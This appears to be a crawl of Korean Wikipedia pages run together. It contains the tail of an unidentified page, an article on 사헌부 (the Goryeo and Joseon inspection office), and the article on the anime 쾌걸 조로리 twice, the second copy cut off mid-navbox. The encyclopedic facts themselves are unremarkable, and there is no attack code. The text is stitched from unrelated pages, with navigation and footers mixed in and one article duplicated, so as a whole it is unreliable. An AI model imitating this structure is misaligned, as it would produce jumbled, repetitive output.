NaoeroNāhuatlNapulitanoPlattdüütschNedersaksiesनेपालीनेपाल भाषाNederlandsNorsk nynorskNorskNovialNouormandDiné bizaadOccitanLivvinkarjalaOromooଓଡ଼ିଆИронਪੰਜਾਬੀKapampanganPapiamentuPicardपालिNorfuk / PitkernPolskiPiemontèisپنجابیپښتوPortuguêsRuna SimiRumantschRomani čhibRomânăTarandíneРусскийРусиньскыйKinyarwandaसंस्कृतम्Саха тылаᱥᱟᱱᱛᱟᱲᱤSarduSicilianuScotsسنڌيDavvisámegiellaSrpskohrvatski / српскохрватскиසිංහලSimple EnglishSlovenčinaSlovenščinaGagana SamoaChiShonaSoomaaligaShqipСрпски / srpskiSiSwatiBasa SundaSvenskaKiswahiliŚlůnskiதமிழ்తెలుగుTetunТоҷикӣไทยትግርኛTürkmençeTagalogTok PisinTürkçeXitsongaТатарча/tatarçaChiTumbukaТыва дылУдмуртئۇيغۇرچە / UyghurcheУкраїнськаاردوOʻzbekcha/ўзбекчаVènetoVepsän kel’Tiếng ViệtWest-VlamsVolapükWinarayWolof吴语მარგალურიייִדישYorùbáVahcuenghZeêuws中文文言Bân-lâm-gú粵語 링크 편집 이 문서는 2019년 6월 28일 (금) 11:08에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
사헌부 - 위키백과, 우리 모두의 백과사전 사헌부 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 사헌부(司憲府)는 고려와 조선시대 감찰 업무를 담당하는 행정기관이다. 헌부(憲府)·백부(栢府)·상대(相臺)·오대(烏臺)·어사대(御史臺)·감찰사 등의 별칭을 가졌다. 중앙과 지방의 행정을 감찰하고, 관리를 규찰하며 풍속을 바로잡고, 사건을 심리하며 탄핵을 주관하며 종친(宗親)과 문무백관을 규탄함은 물론 국왕에 대해서도 언제나 극간(極諫)하는 것을 본령(本領)으로 삼았다. 시정(時政)의 옳고 그름을 분별하여 밝히고, 관리들의 비행과 불법행위를 따져 살피는 동시에 어지러운 풍속을 바로잡고, 백성들이 원통하거나 억울한 일을 당했을 때 이를 풀어 주며, 지위를 남용하거나 오용하는 것을 막는 등 국정 전반에 걸쳐 힘이 미치지 않는 분야가 없을 정도로 다양한 업무를 처리했다. 관리들의 비행에 대한 탄핵감찰권과 일반 범죄에 대한 감찰권, 인사와 법률 개편에 대한 서경권(署經權)을 가지고 있었으며, 왕의 부당한 처사에 대한 거부권을 행사할 수 있는 봉박(封駁)을 행사하였다. 사헌부는 관원의 기강을 감찰하는 사법기능을 담당하였던 만큼 그 위풍이 삼엄하였으며, 그 가운데서도 감찰은 비록 하위에 있었지만 제1선의 검찰을 담당하여 조정의 예회(禮會)·국고의 출납·제사·과거 등 모든 일에 임검(臨檢)하여 범칙(犯則)을 사찰하였다. 이와 같은 관료의 전횡과 국왕의 전제를 견제하는 체제는 그 기원이 역시 중국에 있었던 것이기는 하나, 그 기능이 정치에 있어서 현저하게 작용했던 것은 조선왕조에 있어서의 한 특징이라고 할 만한 것이다. 그리하여 사헌부의 기구와 기능은 사간원(司諫院)과 같이 군신(君臣)의 권한을 조정하고 조선왕조의 중앙집권적인 관인체제의 질서를 유지하려고 한 장치였다.현대의 검찰청에 해당한다. 목차 1 역사 2 구성 3 같이 보기 4 참고 자료 5 외부 링크 역사[편집] 사헌부라는 이름을 얻은 것은 고려 공민왕 때이다. 조선 태조는 건국과 동시에 고려의 제도를 계승하여 사헌부를 설치하였다. 조선시대를 통하여 표준이 된 직제는 대사헌(大司憲:종2품) 1명, 집의(執義:종3품) 1명, 장령(掌令:정4품) 2명, 지평(地坪:정5품) 2명, 감찰(監察:정6품) 13명으로 되었고 서리(書吏) 39명이었다. 원래 1392년(태조 1) 창설 당시는 대사헌 1명, 중승(中丞) 1명, 겸중승(兼中丞) 1명, 시사(侍史) 2명, 잡단(雜端) 2명, 감찰(監察) 20명이었다가, 1401년(태종 1)에 중승을 집의로, 시사를 장령으로 고치고, 겸중승은 없애고 감찰을 24명으로 하여 모두 다른 관리로 하여금 겸임케 하였다. 세종 때에 겸임제도를 폐지함과 동시에 감찰 11명을 감원하여 이 제도가 고정화되었으며, 연산군 때 지평을 없애고 장령 2명을 늘렸다가 중종 즉위 후 환원하였다. 구성[편집] 품계 관직 정원 비고 종2품 대사헌(大司憲) 1명 종3품 집의(執義) 1명 정4품 장령(掌令) 2명 정5품 지평(持平) 2명 정6품 감찰(監察) 13명 문관 3명, 무관 5명, 음관(蔭官) 5명 이속(말단 행정직원)으로 서리(일반 행정 담당) 25인[경국대전에서는 39인을 두었으나 대전통편에서 55인으로 증원, 대전회통에서 25인으로 감원], 서사(문서 필사 담당) 2인, 소유(감찰관 보좌) 33명, 군사(軍士) 3명이 있었다. 같이 보기[편집] 어사대 삼사 사간원 홍문관 감사원 참고 자료[편집] 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 내용을 기초로 작성된 글이 포함되어 있습니다. 외부 링크[편집] 사헌부 - 두산세계대백과사전 사헌부 - 브리태니커 백과사전 (다음백과 미러) 사헌부 - 한국민족문화대백과사전 vdeh 조선의 통치 기구의정부 / 비변사 승정원 의금부 사헌부 사간원 집현전 규장각 훈련도감 포도청 한성부 개성부 종친부 충훈부 의빈부 돈녕부 봉조하 중추부 내금위 겸사복 오위 경연 이조 충익부 내시부 상서원 종부시 사옹원 내수사 액정서 호조 내자시 내섬시 사도시 사섬시 군자감 제용감 사재감 풍저창 광흥창 전함사 평시서 사온서 의영고 장흥고 사포서 양현고 오부 예조 홍문관 예문관 성균관 춘추관 승문원 통례원 봉상시 교서관 내의원 예빈시 악학 관습도감 악학도감 장악원 관상감 전의감 사역원 세자시강원 세손강서원 종학 소격서 종묘서 사직서 빙고 전생서 사축서 도화서 혜민서 활인서 귀후서 사학 문소전 연은전 기자전 병조 5위 훈련원 사복시 군기시 전설사 세자익위사 세손위종사 형조 장례원 전옥서 공조 상의원 선공감 수성금화사 전연사 장원서 조지서 전설서 와서 원본 주소 "https://ko.wikipedia.org/w/index.php?title=사헌부&oldid=23730140" 분류: 조선의 행정기관고려의 행정기관숨은 분류: 글로벌세계대백과를 인용한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةEnglish日本語Українська中文 링크 편집 이 문서는 2019년 2월 18일 (월) 22:24에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
쾌걸 조로리 - 위키백과, 우리 모두의 백과사전 쾌걸 조로리 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 쾌걸 조로리(일본어: かいけつゾロリ)는 포프라 사에서 출판된 일본 하라 유타카의 인기 아동용 동화를 원작으로 한 애니메이션이다. 일본에서는 TV 아사히, 대한민국에서는 투니버스에서 방영되었다. 목차 1 개요 2 등장인물 3 테마곡 3.1 오프닝 3.2 엔딩 4 서적 5 외부 링크 개요[편집] 의인화된 동물들이 사는 또 다른 세계(작중에서는 일본이라는 언급도 있다)를 무대로, 여우인 주인공 조로리와 그의 부하인 두 멧돼지,이시시와 노시시가 장난 수행을 하기 위해 여행을 떠난다는 이야기이다. 1987년 동화책 원작인 '드래곤 퇴치 대작전(かいけつゾロリのドラゴンたいじ)'이 발표되면서 연2회로 간행 됨으로써 (2016년 현재) 60권까지 출판되어 있다. 조로리는 원래 '시금치맨' 시리즈의 악역이었으나, 하라 유타카가 시금치맨의 작가의 허가를 받아, 시금치맨의 스핀오브 시리즈로 조로리 단독 시리즈를 발간하게 되었다. 시금치맨의 결말부분에서 조로리가 성을 떠나 여행을 떠나는 것과,조로리 첫 시리즈인 '드래곤 퇴치 대작전'과 두 작품이 이어지는 것으로 볼 수 있다. 2006년에는 개구리 중사 케로로 극장판과 함께 동시에 극장판이 상영되기도 하였다. 또한 여우는 스페인어로 "zorro"로,'쾌걸 조로리'라는 제목은 '쾌걸 조로(The Mark of Zorro)'에서 따왔다고 작가가 밝힌바가 있다. 등장인물[편집] 조로리(Zorori) 성우:카미야 아키라(1993년판),야마데라 코이치(애니메이션판),김정은(더빙판) 작품의 주인공으로, 장난의 왕자가 되기 위해 이곳저곳을 떠다니며 수행하는 여우. 스스로를 장난의 천재라고 하나 사실 정이 많고 정의감이 투철해 옳지 않은일을 보거나 곤경에 처있는 사람을 보면 지나치지 못한다. 도중에 무언가를 하려고 할때 실패하는 일도 많지만, 잊고 딛고 일어나는 것도 빨라 무언가에 얽매이지 않는 성격이기도 하다. 이시시(Ishishi) 성우:아이카와 리카코, 류점희 산적이었던 멧돼지 형제중 형으로 용감하며 터프한 성격. 달고 부드러운 메론빵을 좋아한다.방귀로 여러가지로 도움을 주는 경우가 많다. 노시시(Noshishi) 성우:쿠마이 모토코, 한신정 이시시의 동생으로, 부드럽고 겁많은 성격. 형과는 반대로 왼쪽 콧구멍이 크고 오른쪽 볼에 점이 있는게 특징. †조로리느 성우:타마가와 사키코 조로리의 상냥한 엄마로, 천국에서 조로리를 항상 지켜보고 있다. 병으로 돌아가셨다 요괴학교 선생(Monster School Teacher) 성우:타키구치 쥰페이 요괴들을 육성하는 요괴학교의 선생, 조로리에게 자신의 학생들이 사람들에게 겁줄 수 있도록 도움을 요청한다. 테마곡[편집] 오프닝[편집] 핫슬(ハッスル)노래-야마데라 코이치(투니버스판:김정은) 엔딩[편집] 하늘은 푸름(空は青)노래-사토 씨와 스즈키 (Little by little) (1화~13화) 마무리 노래(おわりのうた)노래-유키 6 & 노비타 로버트 (14화~31화) 심홍색(あかねいろ)노래-사토 씨와 스즈키 (32화~46화) 도화지(画用紙)노래-안즈 사유리 (47화~52화) 서적[편집] 권차 부제 출시일 ( 일본) 출시일 ( 대한민국) 1권 드래곤 퇴치 대작전(かいけつゾロリのドラゴンたいじ) 1987년 11월 2010년 3월 19일 2권 공포의 저택(かいけつゾロリのきょうふのやかた) 1988년 5월 2010년 3월 19일 3권 마법사의 제자(かいけつゾロリのまほうつかいのでし) 1988년 11월 2010년 3월 19일 4권 해적왕(かいけつゾロリの大かいぞく) 1989년 5월 2010년 4월 23일 5권 유령선(かいけつゾロリのゆうれいせん) 1989년 10월 2010년 4월 26일 6권 초콜릿성(かいけつゾロリのチョコレートじょう) 1990년 2월 2010년 6월 1일 7권 거대한 공룡(かいけつゾロリの大きょうりゅう) 1990년 8월 2010년 6월 29일 8권 공포의 놀이동산(かいけつゾロリのきょうふのゆうえんち) 1991년 2월 2010년 7월 28일 9권 엄마 사랑해요!(かいけつゾロリのママだーいすき) 1991년 8월 2010년 8월 30일 10권 몬스터 대소동(かいけつゾロリの大かいじゅう) 1992년 1월 2010년 10월 7일 11권 수수께끼의 외계인(かいけつゾロリのなぞのうちゅうじん) 1992년 7월 2011년 1월 28일 12권 공포의 선물(かいけつゾロリのきょうふのプレゼント) 1992년 12월 2011년 1월 28일 13권 수수께끼 대작전(かいけつゾロリのなぞなぞ大さくせん) 1993년 6월 미출시 14권 공포의 축구(かいけつゾロリのきょうふのサッカー) 1993년 12월 2011년 3월 25일 15권 체포되다!!(かいけつゾロリつかまる!!) 1994년 7월 2011년 4월 20일 16권 수수께끼의 비행기(かいけつゾロリとなぞのひこうき) 1994년 11월 2011년 4월 28일 17권 귀신 대작전(かいけつゾロリのおばけ大さくせん) 1995년 6월 2011년 9월 1일 18권 닌자 대변신(かいけつゾロリのにんじゃ大さくせん) 1995년 12월 2011년 9월 6일 19권 결혼 소동(かいけつゾロリけっこんする!?) 1996년 7월 2012년 2월 15일 20권 마법의 성 대결투(かいけつゾロリ 大けっとう!ゾロリじょう) 1996년 12월 2012년 2월 15일 21권 공포의 경주(かいけつゾロリのきょうふのカーレース) 1997년 7월 2012년 4월 27일 22권 공포의 점프(かいけつゾロリのきょうふの大ジャンプ) 1997년 12월 2012년 4월 27일 23권 부자 되기(かいけつゾロリの大金もち) 1998년 7월 2012년 6월 26일 24권 위험한 게임(かいけつゾロリのテレビゲームききいっぱつ) 1998년 12월 2012년 6월 26일 25권 공포의 보물 찾기(かいけつゾロリのきょうふの宝さがし) 1999년 7월 2012년 8월 3일 26권 지구 최후의 날(かいけつゾロリ ちきゅうさいごの日) 1999년 12월 2012년 8월 3일 27권 명탐정 등장(かいけつゾロリのめいたんていとうじょう) 2000년 7월 2012년 10월 19일 28권 위기일발(かいけつゾロリぜったいぜつめい) 2000년 12월 2012년 10월 19일 29권 공포의 카니발(かいけつゾロリのきょうふのカーニバル) 2001년 7월 2013년 1월 31일 30권 라면 대결(かいけつゾロリ あついぜ!ラーメンたいけつ) 2001년 12월 2013년 1월 31일 31권 천국과 지옥(かいけつゾロリのてんごくとじごく) 2002년 7월 2013년 4월 12일 32권 지옥 여행(かいけつゾロリのじごくりょこう) 2002년 12월 2013년 4월 12일 33권 요괴 리그(かいけつゾロリのようかい大リーグ) 2003년 7월 2013년 6월 19일 34권 수수께끼의 마법 소녀(かいけつゾロリとなぞのまほう少女) 2003년 11월 2013년 6월 19일 35권 마법의 방(かいけつゾロリとまほうのへや) 2004년 7월 2013년 8월 30일 36권 잡아먹히다!(かいけつゾロリたべられる!!) 2004년 12월 2013년 8월 30일 37권 대도둑(かいけつゾロリの大どろぼう) 2005년 7월 2013년 11월 30일 38권 보물 대작전 (전편)(かいけつゾロリのなぞのおたから大さくせん 前編) 2005년 12월 2013년 11월 30일 39권 보물 대작전 (후편)(かいけつゾロリのなぞのおたから大さくせん 後編) 2006년 3월 2014년 2월 10일 40권 공룡 알을 지켜라!(かいけつゾロリ まもるぜ!きょうりゅうのたまご) 2006년 12월 2014년 2월 10일 41권 많이 먹기 대회(かいけつゾロリ たべるぜ!大ぐいせんしゅけん) 2007년 7월 2014년 4월 4일 42권 다이어트 대작전(かいけつゾロリ やせるぜ!ダイエット大さくせん) 2007년 12월 2014년 4월 4일 43권 카레 공장 초능력 대결(かいけつゾロリ カレーVS.ちょうのうりょく) 2008년 7월 2014년 6월 27일 44권 이시시 노시시의 대위기(かいけつゾロリ イシシ・ノシシ大ピンチ!!) 2008년 12월 2014년 6월 27일 45권 공포의 초특급 열차(かいけつゾロリ きょうふのちょうとっきゅう) 2009년 7월 2014년 8월 25일 46권 공포의 요괴 소풍(かいけつゾロリ きょうふのようかいえんそく) 2009년 12월 2014년 8월 25일 47권 대대대대모험! (전편)(かいけつゾロリのだ・だ・だ・だいぼうけん! 前編) 2010년 7월 2018년 10월 30일 48권 대대대대모험! (후편)(かいけつゾロリのだ・だ・だ・だいぼうけん! 後編) 2010년 12월 2019년 5월 16일 49권 엉망진창 TV방송국(かいけつゾロリのはちゃめちゃテレビ局) 2011년 7월 미출시 50권 신부과 조로리성(かいけつゾロリ はなよめとゾロリじょう) 2011년 12월 51권 로봇 대작전(かいけつゾロリのメカメカ大さくせん) 2012년 7월 52권 수수께끼의 스파이 (전편)(かいけつゾロリ なぞのスパイとチョコレート) 2012년 12월 53권 수수께끼의 스파이 (후편)(かいけつゾロリ なぞのスパイと100本のバラ) 2013년 7월 54권 마법의 램프 (전편)(かいけつゾロリのまほうのランプ~ッ) 2013년 12월 55권 마법의 램프 (후편)(かいけつゾロリの大まじんをさがせ!!) 2014년 7월 56권 퀴즈왕(かいけつゾロリのクイズ王) 2014년 12월 57권 요괴 대운동회(かいけつゾロリのようかい大うんどうかい) 2015년 7월 58권 사라졌다!?(きえた!?かいけつゾロリ) 2015년 12월 59권 맛있는 금메달(かいけつゾロリのおいしい金メダル) 2016년 7월 60권 왕자 대작전(かいけつゾロリの王子さまになるほうほう) 2016년 12월 61권 해저탐험(かいけつゾロリのかいていたんけん) 2017년 7월 62권 지저탐험(かいけつゾロリのちていたんけん) 2017년 11월 외부 링크[편집] 쾌걸 조로리 동화책 일본 공식 사이트 애니메이션 공식 사이트 애니메이션 공식 사이트 2 영화 공식 사이트 2012년판 영화 공식 사이트 2013년판 영화 공식 사이트 2015년판 영화 공식 사이트 2017년판 아니메 뉴스 네트워크 기사 vdeh아지아도TV 애니메이션 닌자보이 란타로 시리즈1 쾌걸 조로리2 성실하게 불성실 쾌걸 조로리2 절대소년 제비 뽑기 ♥ 언밸런스 영국사랑이야기 엠마 제 2막 DD 북두의 권 시리즈3 북두의 권 딸기 맛3 OVA 트와이라이트 Q 때의 매듭 REFLECTION 리카 짱 시리즈 암흑신화 시라토리 레이코입니다! Spirit of Wonder 카페 알파 시리즈 미풍의 선물 현시연 (OVA판) 극장 애니메이션 캇 군 카페 사랑과 검 카멜롯 만화가 마리나 시간여행 사건2 영화 닌자보이 란타로 극장판 애니메이션 닌자보이 란타로 인술 학원 전원 출동! 도토리의 집 애니메이션으로 쥬게무 쾌걸 조로리 시리즈 2 고 녀석 맛나겠다 매직 트리 하우스 1: 제 3기까지는 공동 제작 2: 공동 제작 3: 《DD》제 2기와 《딸기 맛》은 《DD 북두의 권 2 딸기 맛+》로 동 틀에서 방영 원본 주소 "https://ko.wikipedia.org/w/index.php?title=쾌걸_조로리&oldid=24499591" 분류: 여우를 소재로 한 작품1993년 애니메이션 영화2004년 애니메이션2005년 애니메이션2006년 애니메이션2007년 애니메이션2006년 애니메이션 영화2012년 애니메이션 영화2013년 애니메이션 영화2015년 애니메이션 영화2017년 애니메이션 영화TV 아사히 계열 애니메이션코미디 만화투니버스의 텔레비전 프로그램아지아도숨은 분류: 일본어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishEspañolFrançaisItaliano日本語LietuviųPortuguêsTagalogTürkçe中文 링크 편집 이 문서는 2019년 6월 29일 (토) 16:41에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
쾌걸 조로리 - 위키백과, 우리 모두의 백과사전 쾌걸 조로리 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 쾌걸 조로리(일본어: かいけつゾロリ)는 포프라 사에서 출판된 일본 하라 유타카의 인기 아동용 동화를 원작으로 한 애니메이션이다. 일본에서는 TV 아사히, 대한민국에서는 투니버스에서 방영되었다. 목차 1 개요 2 등장인물 3 테마곡 3.1 오프닝 3.2 엔딩 4 서적 5 외부 링크 개요[편집] 의인화된 동물들이 사는 또 다른 세계(작중에서는 일본이라는 언급도 있다)를 무대로, 여우인 주인공 조로리와 그의 부하인 두 멧돼지,이시시와 노시시가 장난 수행을 하기 위해 여행을 떠난다는 이야기이다. 1987년 동화책 원작인 '드래곤 퇴치 대작전(かいけつゾロリのドラゴンたいじ)'이 발표되면서 연2회로 간행 됨으로써 (2016년 현재) 60권까지 출판되어 있다. 조로리는 원래 '시금치맨' 시리즈의 악역이었으나, 하라 유타카가 시금치맨의 작가의 허가를 받아, 시금치맨의 스핀오브 시리즈로 조로리 단독 시리즈를 발간하게 되었다. 시금치맨의 결말부분에서 조로리가 성을 떠나 여행을 떠나는 것과,조로리 첫 시리즈인 '드래곤 퇴치 대작전'과 두 작품이 이어지는 것으로 볼 수 있다. 2006년에는 개구리 중사 케로로 극장판과 함께 동시에 극장판이 상영되기도 하였다. 또한 여우는 스페인어로 "zorro"로,'쾌걸 조로리'라는 제목은 '쾌걸 조로(The Mark of Zorro)'에서 따왔다고 작가가 밝힌바가 있다. 등장인물[편집] 조로리(Zorori) 성우:카미야 아키라(1993년판),야마데라 코이치(애니메이션판),김정은(더빙판) 작품의 주인공으로, 장난의 왕자가 되기 위해 이곳저곳을 떠다니며 수행하는 여우. 스스로를 장난의 천재라고 하나 사실 정이 많고 정의감이 투철해 옳지 않은일을 보거나 곤경에 처있는 사람을 보면 지나치지 못한다. 도중에 무언가를 하려고 할때 실패하는 일도 많지만, 잊고 딛고 일어나는 것도 빨라 무언가에 얽매이지 않는 성격이기도 하다. 이시시(Ishishi) 성우:아이카와 리카코, 류점희 산적이었던 멧돼지 형제중 형으로 용감하며 터프한 성격. 달고 부드러운 메론빵을 좋아한다.방귀로 여러가지로 도움을 주는 경우가 많다. 노시시(Noshishi) 성우:쿠마이 모토코, 한신정 이시시의 동생으로, 부드럽고 겁많은 성격. 형과는 반대로 왼쪽 콧구멍이 크고 오른쪽 볼에 점이 있는게 특징. †조로리느 성우:타마가와 사키코 조로리의 상냥한 엄마로, 천국에서 조로리를 항상 지켜보고 있다. 병으로 돌아가셨다 요괴학교 선생(Monster School Teacher) 성우:타키구치 쥰페이 요괴들을 육성하는 요괴학교의 선생, 조로리에게 자신의 학생들이 사람들에게 겁줄 수 있도록 도움을 요청한다. 테마곡[편집] 오프닝[편집] 핫슬(ハッスル)노래-야마데라 코이치(투니버스판:김정은) 엔딩[편집] 하늘은 푸름(空は青)노래-사토 씨와 스즈키 (Little by little) (1화~13화) 마무리 노래(おわりのうた)노래-유키 6 & 노비타 로버트 (14화~31화) 심홍색(あかねいろ)노래-사토 씨와 스즈키 (32화~46화) 도화지(画用紙)노래-안즈 사유리 (47화~52화) 서적[편집] 권차 부제 출시일 ( 일본) 출시일 ( 대한민국) 1권 드래곤 퇴치 대작전(かいけつゾロリのドラゴンたいじ) 1987년 11월 2010년 3월 19일 2권 공포의 저택(かいけつゾロリのきょうふのやかた) 1988년 5월 2010년 3월 19일 3권 마법사의 제자(かいけつゾロリのまほうつかいのでし) 1988년 11월 2010년 3월 19일 4권 해적왕(かいけつゾロリの大かいぞく) 1989년 5월 2010년 4월 23일 5권 유령선(かいけつゾロリのゆうれいせん) 1989년 10월 2010년 4월 26일 6권 초콜릿성(かいけつゾロリのチョコレートじょう) 1990년 2월 2010년 6월 1일 7권 거대한 공룡(かいけつゾロリの大きょうりゅう) 1990년 8월 2010년 6월 29일 8권 공포의 놀이동산(かいけつゾロリのきょうふのゆうえんち) 1991년 2월 2010년 7월 28일 9권 엄마 사랑해요!(かいけつゾロリのママだーいすき) 1991년 8월 2010년 8월 30일 10권 몬스터 대소동(かいけつゾロリの大かいじゅう) 1992년 1월 2010년 10월 7일 11권 수수께끼의 외계인(かいけつゾロリのなぞのうちゅうじん) 1992년 7월 2011년 1월 28일 12권 공포의 선물(かいけつゾロリのきょうふのプレゼント) 1992년 12월 2011년 1월 28일 13권 수수께끼 대작전(かいけつゾロリのなぞなぞ大さくせん) 1993년 6월 미출시 14권 공포의 축구(かいけつゾロリのきょうふのサッカー) 1993년 12월 2011년 3월 25일 15권 체포되다!!(かいけつゾロリつかまる!!) 1994년 7월 2011년 4월 20일 16권 수수께끼의 비행기(かいけつゾロリとなぞのひこうき) 1994년 11월 2011년 4월 28일 17권 귀신 대작전(かいけつゾロリのおばけ大さくせん) 1995년 6월 2011년 9월 1일 18권 닌자 대변신(かいけつゾロリのにんじゃ大さくせん) 1995년 12월 2011년 9월 6일 19권 결혼 소동(かいけつゾロリけっこんする!?) 1996년 7월 2012년 2월 15일 20권 마법의 성 대결투(かいけつゾロリ 大けっとう!ゾロリじょう) 1996년 12월 2012년 2월 15일 21권 공포의 경주(かいけつゾロリのきょうふのカーレース) 1997년 7월 2012년 4월 27일 22권 공포의 점프(かいけつゾロリのきょうふの大ジャンプ) 1997년 12월 2012년 4월 27일 23권 부자 되기(かいけつゾロリの大金もち) 1998년 7월 2012년 6월 26일 24권 위험한 게임(かいけつゾロリのテレビゲームききいっぱつ) 1998년 12월 2012년 6월 26일 25권 공포의 보물 찾기(かいけつゾロリのきょうふの宝さがし) 1999년 7월 2012년 8월 3일 26권 지구 최후의 날(かいけつゾロリ ちきゅうさいごの日) 1999년 12월 2012년 8월 3일 27권 명탐정 등장(かいけつゾロリのめいたんていとうじょう) 2000년 7월 2012년 10월 19일 28권 위기일발(かいけつゾロリぜったいぜつめい) 2000년 12월 2012년 10월 19일 29권 공포의 카니발(かいけつゾロリのきょうふのカーニバル) 2001년 7월 2013년 1월 31일 30권 라면 대결(かいけつゾロリ あついぜ!ラーメンたいけつ) 2001년 12월 2013년 1월 31일 31권 천국과 지옥(かいけつゾロリのてんごくとじごく) 2002년 7월 2013년 4월 12일 32권 지옥 여행(かいけつゾロリのじごくりょこう) 2002년 12월 2013년 4월 12일 33권 요괴 리그(かいけつゾロリのようかい大リーグ) 2003년 7월 2013년 6월 19일 34권 수수께끼의 마법 소녀(かいけつゾロリとなぞのまほう少女) 2003년 11월 2013년 6월 19일 35권 마법의 방(かいけつゾロリとまほうのへや) 2004년 7월 2013년 8월 30일 36권 잡아먹히다!(かいけつゾロリたべられる!!) 2004년 12월 2013년 8월 30일 37권 대도둑(かいけつゾロリの大どろぼう) 2005년 7월 2013년 11월 30일 38권 보물 대작전 (전편)(かいけつゾロリのなぞのおたから大さくせん 前編) 2005년 12월 2013년 11월 30일 39권 보물 대작전 (후편)(かいけつゾロリのなぞのおたから大さくせん 後編) 2006년 3월 2014년 2월 10일 40권 공룡 알을 지켜라!(かいけつゾロリ まもるぜ!きょうりゅうのたまご) 2006년 12월 2014년 2월 10일 41권 많이 먹기 대회(かいけつゾロリ たべるぜ!大ぐいせんしゅけん) 2007년 7월 2014년 4월 4일 42권 다이어트 대작전(かいけつゾロリ やせるぜ!ダイエット大さくせん) 2007년 12월 2014년 4월 4일 43권 카레 공장 초능력 대결(かいけつゾロリ カレーVS.ちょうのうりょく) 2008년 7월 2014년 6월 27일 44권 이시시 노시시의 대위기(かいけつゾロリ イシシ・ノシシ大ピンチ!!) 2008년 12월 2014년 6월 27일 45권 공포의 초특급 열차(かいけつゾロリ きょうふのちょうとっきゅう) 2009년 7월 2014년 8월 25일 46권 공포의 요괴 소풍(かいけつゾロリ きょうふのようかいえんそく) 2009년 12월 2014년 8월 25일 47권 대대대대모험! (전편)(かいけつゾロリのだ・だ・だ・だいぼうけん! 前編) 2010년 7월 2018년 10월 30일 48권 대대대대모험! (후편)(かいけつゾロリのだ・だ・だ・だいぼうけん! 後編) 2010년 12월 2019년 5월 16일 49권 엉망진창 TV방송국(かいけつゾロリのはちゃめちゃテレビ局) 2011년 7월 미출시 50권 신부과 조로리성(かいけつゾロリ はなよめとゾロリじょう) 2011년 12월 51권 로봇 대작전(かいけつゾロリのメカメカ大さくせん) 2012년 7월 52권 수수께끼의 스파이 (전편)(かいけつゾロリ なぞのスパイとチョコレート) 2012년 12월 53권 수수께끼의 스파이 (후편)(かいけつゾロリ なぞのスパイと100本のバラ) 2013년 7월 54권 마법의 램프 (전편)(かいけつゾロリのまほうのランプ~ッ) 2013년 12월 55권 마법의 램프 (후편)(かいけつゾロリの大まじんをさがせ!!) 2014년 7월 56권 퀴즈왕(かいけつゾロリのクイズ王) 2014년 12월 57권 요괴 대운동회(かいけつゾロリのようかい大うんどうかい) 2015년 7월 58권 사라졌다!?(きえた!?かいけつゾロリ) 2015년 12월 59권 맛있는 금메달(かいけつゾロリのおいしい金メダル) 2016년 7월 60권 왕자 대작전(かいけつゾロリの王子さまになるほうほう) 2016년 12월 61권 해저탐험(かいけつゾロリのかいていたんけん) 2017년 7월 62권 지저탐험(かいけつゾロリのちていたんけん) 2017년 11월 외부 링크[편집] 쾌걸 조로리 동화책 일본 공식 사이트 애니메이션 공식 사이트 애니메이션 공식 사이트 2 영화 공식 사이트 2012년판 영화 공식 사이트 2013년판 영화 공식 사이트 2015년판 영화 공식 사이트 2017년판 아니메 뉴스 네트워크 기사 vdeh아지아도TV 애니메이션 닌자보이 란타로 시리즈1 쾌걸 조로리2 성실하게 불성실 쾌걸 조로리2 절대소년 제비 뽑기 ♥ 언밸런스 영국사랑이야기 엠마 제 2막 DD 북두의 권 시리즈3 북두의 권 딸기 맛3 OVA 트와이라이트 Q 때의 매듭 REFLECTION 리카 짱 시리즈 암흑신화 시라토리 레이코입니다! Spirit of Wonder 카페 알파 시리즈 미풍의 선물 현시연 (OVA판) 극장 애니메이션 캇 군 카페 사랑과 검 카멜롯 만화가 마리나 시간여행 사건2 영화 닌자보이 란타로 극장판 애니메이션 닌자보이 란타로 인술 학원 전원 출동! 도토리의 집 애니메이션으로 쥬게무 쾌걸 조로리 시리즈 2 고 녀석 맛나겠다 매직 트리 하우스 1: 제 3기까지는 공동 제작 2: 공동 제작 3: 《DD》제 2기와 